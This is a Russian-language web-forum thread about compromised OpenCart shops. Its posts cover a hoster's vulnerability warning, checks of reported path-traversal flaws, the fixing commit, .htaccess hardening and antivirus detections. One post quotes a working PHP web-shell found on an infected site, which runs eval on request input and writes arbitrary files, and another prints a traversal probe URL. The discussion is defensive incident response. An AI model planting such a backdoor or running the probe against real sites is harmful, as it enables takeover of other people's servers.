Перейти к содержанию
garik

Взлом OpenCart

Рекомендуемые сообщения

Два дня назад я уже это разместил, но наверное, не все читают все посты, поэтому повторюсь:

 

Недавно мне пришло письмо от моего хостера (Мастерхост):

 

В последнее время участились случаи взлома CMS OpenCart с использованием обнаруженной
более года назад уязвимости:

http://www.securitylab.ru/vulnerability/422889.php

При эксплуатации этой уязвимости на первом этапе вредоносный код размещается в директории
download, а далее через размещенные там скрипты производятся другие действия, такие, как
рассылка спама или изменение произвольных файлов. В случае размещения вебшелла
злоумышленник получает полный доступ ко всей площадке и может размещать свои скрипты на
любом сайте площадки

На вашей площадке используется данная CMS, поэтому рекомендуем вам проверить
всю вашу площадку на наличие посторонних файлов. Также проверьте файлы .htaccess на
внедрение туда кода переадресации мобильных устройств на сайт, содержащий вирусы для
Android. Для того, чтобы воспрепятствовать дальнейшей эксплуатации данной уязвимости,
рекомендуем либо полностью запретить запись в директорию download путём установки на неё
атрибутов 555, либо разместить в ней файл .htaccess c директивой deny from all.
 
  • +1 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

тут больше - http://www.waraxe.us/advisory-84.html нужно будет изучить этот документ и проверить все на актуальных версиях опенкарта, там все для 1.5.2.1 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Была эта проблема, .htaccess файлы были изменены,

и в папке download лежали файлы , все удалил

Работало, затем. появились такие файлы:

 

admin/language/russian/catalog/index.php
docs/admin/language/russian/extension/index.php
docs/admin/language/russian/module/index.php
/docs/admin/language/russian/user/index.php
docs/admin/model/catalog/index.php
/docs/admin/model/report/index.php
.docs/admin/view/javascript/ckeditor/skins/kama/index.php
docs/admin/view/javascript/jquery/jstree/themes/image/index.php

 

порядка 30 штук в разных каталогах.

 

там код такой:    $bqrhbx = "033dbba0ab36eaae9dc59073b2099210"; if(isset($_REQUEST['qposy'])) { $zinmyzl = $_REQUEST['qposy']; eval($zinmyzl); exit(); } if(isset($_REQUEST['svpjvp'])) { $eygk = $_REQUEST['xsoiz']; $xnxv = $_REQUEST['svpjvp']; $xdukc = fopen($xnxv, 'w'); $vomqewl = fwrite($xdukc, $eygk); fclose($xdukc); echo $vomqewl; exit(); }

 

 

вроде все почистил, все пароли поменял,

 

каталог Admin переименовал,

htaccess права 444 стоит,

download - 555.

 

Как еще закрыть все дыры - от куда оно ползет?

 

и еще при запуске сайта идет перенаправление вот сюда :

имя.ru/index.php?route=common/home

другие сайты проверял - там все окей, нет перенаправления такого

имя.ru и все.

 

index.php?route=common/home - и с этим файлом какая то проблема

в админке показывает, что в нем ошибки

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

тут больше - http://www.waraxe.us/advisory-84.html нужно будет изучить этот документ и проверить все на актуальных версиях опенкарта, там все для 1.5.2.1

Проверяю уязвимости с этого списка, специально установил чистый опенкарт 1.5.2.1 

 

По первому пункту, автор утверждает  что если открыть следующий адрес: index.php?route=..\..\admin\index

То на виндовз платформе получим следующий результат:

Fatal error: Cannot redeclare error_handler() (previously declared in

C:\apache_www\opencart1521\index.php:78) in

C:\apache_www\opencart1521\admin\index.php on line 87

 

То есть что  таким образом можно подключить произвольный файл, прописав в роуте route=..\..\admin\index 

К сожалению у меня возможности протестировать все на виндовз нету но под линуксом я получил "Страница не найдена"

И я не понимаю, как можно это запустить, если в классе Action есть код:

str_replace('../', '', (string)$route)

то есть все "../" тупо удаляются

после чего

if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) {

$this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php';

подключается только существующий в папке DIR_APPLICATION . 'controller/ файл.

 

Уязвимость повторить не удалось - FALSE

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

На 1.5.1 и на 1.5.1.3 получил (Windows)

 

Fatal error: Cannot redeclare error_handler() (previously declared in Z:\home\localhost\www\index.php:82) in Z:\home\localhost\www\admin\index.php on line 91
На 1.5.3.1 все ОК - 404 страница.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

И я не понимаю, как можно это запустить, если в классе Action есть код:

str_replace('../', '', (string)$route)

Так это и было фиксами по результатам отчета об уязвимостях. Правда, чуть ниже - там, где про виндовс вспомнили и все варианты начали выкусывать.

Что здесь удивительного? Вчера отвечал на такой же линк знакомому, в форум не отписал.

Я помню эти обсуждения и что было несколько фиксов по этим репортам. Инфо на securitylab.ru древняя и не соответствует действительности (не проверяется, не обновляется) - например, про то, что уязвимость присутствует в 1.5.x, и что не исправлена.

Правда, насколько я помню, на тот момент у waraxe был не десяток пунктов описан, а меньше.

Хотя могу ошибаться. Так что может быть имеет смысл всё остальное описанное проверить.

git logst -p --grep 'vulner'

...

commit bbd6079095daf021b4b01e7e196a6549164fb834
Author: blueyon@gmail.com <blueyon@gmail.com>
Date:   Sat Apr 7 09:46:41 2012 +0000

    vulnerability Local File Inclusion in "action.php" for some windows servers fix
    
    git-svn-id: http://opencart.googlecode.com/svn@1003 a472ed72-f7c0-11dd-9d1a-b59b2e1864b6
---
 trunk/upload/system/engine/action.php | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/trunk/upload/system/engine/action.php b/trunk/upload/system/engine/action.php
index 058ecf4..d3ce6fa 100644
--- a/trunk/upload/system/engine/action.php
+++ b/trunk/upload/system/engine/action.php
@@ -21,8 +21,8 @@ final class Action {
                                continue;
                        }
                        
-                       if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) {
-                               $this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php';
+                       if (is_file(DIR_APPLICATION . 'controller/' . str_replace(array('../', '..\\', '..'), '', $path) . '.php')) {^M
+                               $this->file = DIR_APPLICATION . 'controller/' . str_replace(array('../', '..\\', '..'), '', $path) . '.php';^M
                                
                                $this->class = 'Controller' . preg_replace('/[^a-zA-Z0-9]/', '', $path);
 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

все почистил, все закрыл вроде все работает пока.

 

2 сайта удалил полностью, они пробные были так для интереса.

в поиске яндекса они правда остались - со страшными надписями: сайт может угрожать вашей безопасности.

 

а вот посмторел через админку пользователей он лайн на сайте: и вот что ищут все буквально в течении 30 минут:

как раз идут запросы к тем файлам, что я удалил

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Проблема актуальна для мультидоменности, так как сам несколько сайтов мониторю по этим вопросам, то больший % взлома платформы, работающей на опене, происходих из за того, что на хосте, находяться другие платформы или же сам опен на уровне поддомена установлен... 70% всех проблемных моментов - при установленной Joomla, там через TinyMCE редактор частенько вскрывали, и понеслось... Соотв и вордпрес и друпал - так же могут влиять на безопасность.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Из своего опыта, могу сказать, что почти все взломы опенкарта происходят от того, что пользователи или используют версии опенкарта трех летней давности (как-то работает ну и ладно, зачем что-то менять) или устанавливают модули, скачанные с каких-то варезников. Никто не задумывается что бесплатный сыр только в мышеловке и на подобных помойках куча модулей зараженных вирусами, троянами и прочей нечистю. Но ведь всем хочется халявы, а потом слышу - "опенкартр взломали".. ага.. опенкарт вломали, меньше нужно халявой пользоваться и все будет нормально.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Никто не задумывается что бесплатный сыр только в мышеловке и на подобных помойках куча модулей зараженных вирусами, троянами и прочей нечистю. Но ведь всем хочется халявы, а потом слышу - "опенкартр взломали".. ага.. опенкарт вломали, меньше нужно халявой пользоваться и все будет нормально.

Только давайте не будем путать "бесплатно, халява" с "ворованное и варез". Две большие разницы.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

второй день форумы гудят по поводу массовых атак на серверы хостеров

у некоторых админки легли ...

 

На всякий случай закрыл временно свои админки.

Положил в папки admin (administrator) файл .htaccess с кодом

####  NO  Enter 
Order Deny,Allow

Deny from all

Может кому пригодится.

Когда все утихнет - закомментировать или удалить файл

 

/*информация с форума joomla*/

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

/*информация с форума joomla*/

 

:-D Информация с форума Joomla прямо как код в её компонентах. Уже если делать через htaccess, то так:

order allow,deny
deny from all
allow from 195.69.02.101

Вместо 195.69.02.101 подставить IP админа, чтобы сам админ мог зайти в админку со своего компа.

  • +1 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

В папку downloads можно положить htaccess

RemoveHandler .php .phtml .php3
RemoveType .php .phtml .php3
php_flag engine off

<Files ~>
	order allow,deny
	deny from all
	allow from 127.0.0.1
</Files>

и chmod 0755 на саму папку

  • +1 2

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Не на всех хостингах метод с htaccess "прокатит". На связках apache + nginx директивы htaccess игнорируются.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
По указанной ссылке в п.10 приведены работающие уязвимости :(

Проверял на http://demo.myopencart.ru

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

"Path Disclosure" убирается простым отключением вывода ошибок (остается только логирование) и указанием (в настройках магазина) другого файла в качестве лога ошибок.

что и было сделано на demo.myopencart.ru  :ph34r:

 

но выловили несколько других ошибок.

так что спасибо.

  • +1 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

А чуть подробнее можно, особенно про другие ошибки :)

Или смотреть в GitHab?

И да, ошибки теперь не выводятся, но показывается просто пустая страница. Будет после исправления 404 или что-то другое? Пустая страница как-то не очень...

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

на хабре статья о массовой атаке на водпресс (а также джумла и дле) сайты http://habrahabr.ru/post/188932/
боты пробуют методом перебора подобрать пароли к админке

Один из самых простых и в тоже время самых эффективных способов защитить свою админку - просто переименовать папку админки из admin в например admin123 или d41d8c или что угодно + нужно изменить admin/config.php, поменять все пути с admin на новое название.

2 минуты работы и ни один бот или злоумышленник просто не найдет где эта админка находится соответственно никак не сможет навредить. 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

А на старой админке редирект на natribu.org, чтобы бот или хакер ощутил всю полноту экзистенциального дискомфорта :)

  • +1 2

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

на хабре статья о массовой атаке на водпресс (а также джумла и дле) сайты http://habrahabr.ru/post/188932/

боты пробуют методом перебора подобрать пароли к админке

У меня хостер просто заблокировал wp-login.php  и /administrator/index.php.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

в статистике по использованию памяти резкий скачок, превышение лимита. еле еле грузятся страницы

в тех. поддержке говорят, что идёт массовая атака на вордпрес и джумлу.. я говорю у меня они не установлены... но ничего толком не ответили 

поменял путь к админке, но всё равно нагрузка не падает

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

в тех. поддержке говорят, что идёт массовая атака на вордпрес и джумлу.. я говорю у меня они не установлены... но ничего толком не ответили 

 

Когда-то у меня VDS ддосили так, что у хостера весь дата-центр лег.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Поделюсь личными наблюдениями.Ниже приведены файлы ,наиболее часто встречавшиеся мне лично после заражения подобными вирусами

 

 

public_html/admin/view/javascript/jquery/jstree/xml.php : PHP.Trojan.Spambot

public_html/admin/view/javascript/ckeditor/plugins/pagebreak/lib.php : PHP.Trojan.Spambot

public_html/admin/controller/user/config.php : PHP.Trojan.Spambot

public_html/download/404.php.9c0fb4142da6972e30f2a2c589cc7c25 : PHP.HostComm.#28463.evb64.0.UNOFFICIAL

public_html/download/info.php.03026abce018f6fce8537fdd1ac183a7 : PHP.Shell.HostComm.#27047.WSO.0.UNOFFICIAL

public_html/download/404.php.7ff91c5269ad5893f88eae20d6080204 : PHP.Shell-83

public_html/download/404.php.ba3a7a74209767771a9be989d5f684ac : PHP.Webshell-3

public_html/download/404.php.71f2ef134de65983b573a6036cce1e0a : PHP.Webshell-3

public_html/download/404.php3.5e0ecad34bd5180362012a308853e912 : PHP.Shell-83

public_html/download/info.php.4bed5a5ae11d02c51a423ff6ee3041c9 : PHP.Shell.HostComm.#27047.WSO.0.UNOFFICIAL

public_html/download/404.php3.2a2f4b3b2a05f4a8104a292610bc062f : PHP.Shell-83

public_html/download/scheduleVFZ.php : PHP.Trojan.Spambot

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Я сам пока еще лично не успел воспользоваться данной системой, но вот что нашел интересного:

Залили шел через админку. А чтобы попасть в админку просто набрутили простой пасс который он использовал. Оказывается очень много уязвимостей у опенкарта

 

Советы:

1. Сменить адрес админки
2. Убрать восстановление пароля

 

 

Может кто-то сможет провести аудит данной системы за деньги?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти

  • Последние посетители   0 пользователей онлайн

    Ни одного зарегистрированного пользователя не просматривает данную страницу

×

Важная информация

На нашем сайте используются файлы cookie и происходит обработка некоторых персональных данных пользователей, чтобы улучшить пользовательский интерфейс. Чтобы узнать для чего и какие персональные данные мы обрабатываем перейдите по ссылке. Если Вы нажмете «Я даю согласие», это означает, что Вы понимаете и принимаете все условия, указанные в этом Уведомлении о Конфиденциальности.